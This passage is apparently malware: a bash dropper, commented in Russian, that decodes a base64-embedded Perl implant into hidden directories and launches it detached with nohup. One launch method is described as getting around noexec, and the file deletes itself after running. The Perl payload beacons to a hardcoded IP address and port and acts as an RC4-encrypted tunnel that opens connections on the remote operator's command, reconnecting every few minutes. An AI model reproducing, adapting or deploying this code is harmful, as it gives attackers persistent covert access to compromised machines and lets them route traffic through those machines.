XJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_0a647fb8() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRl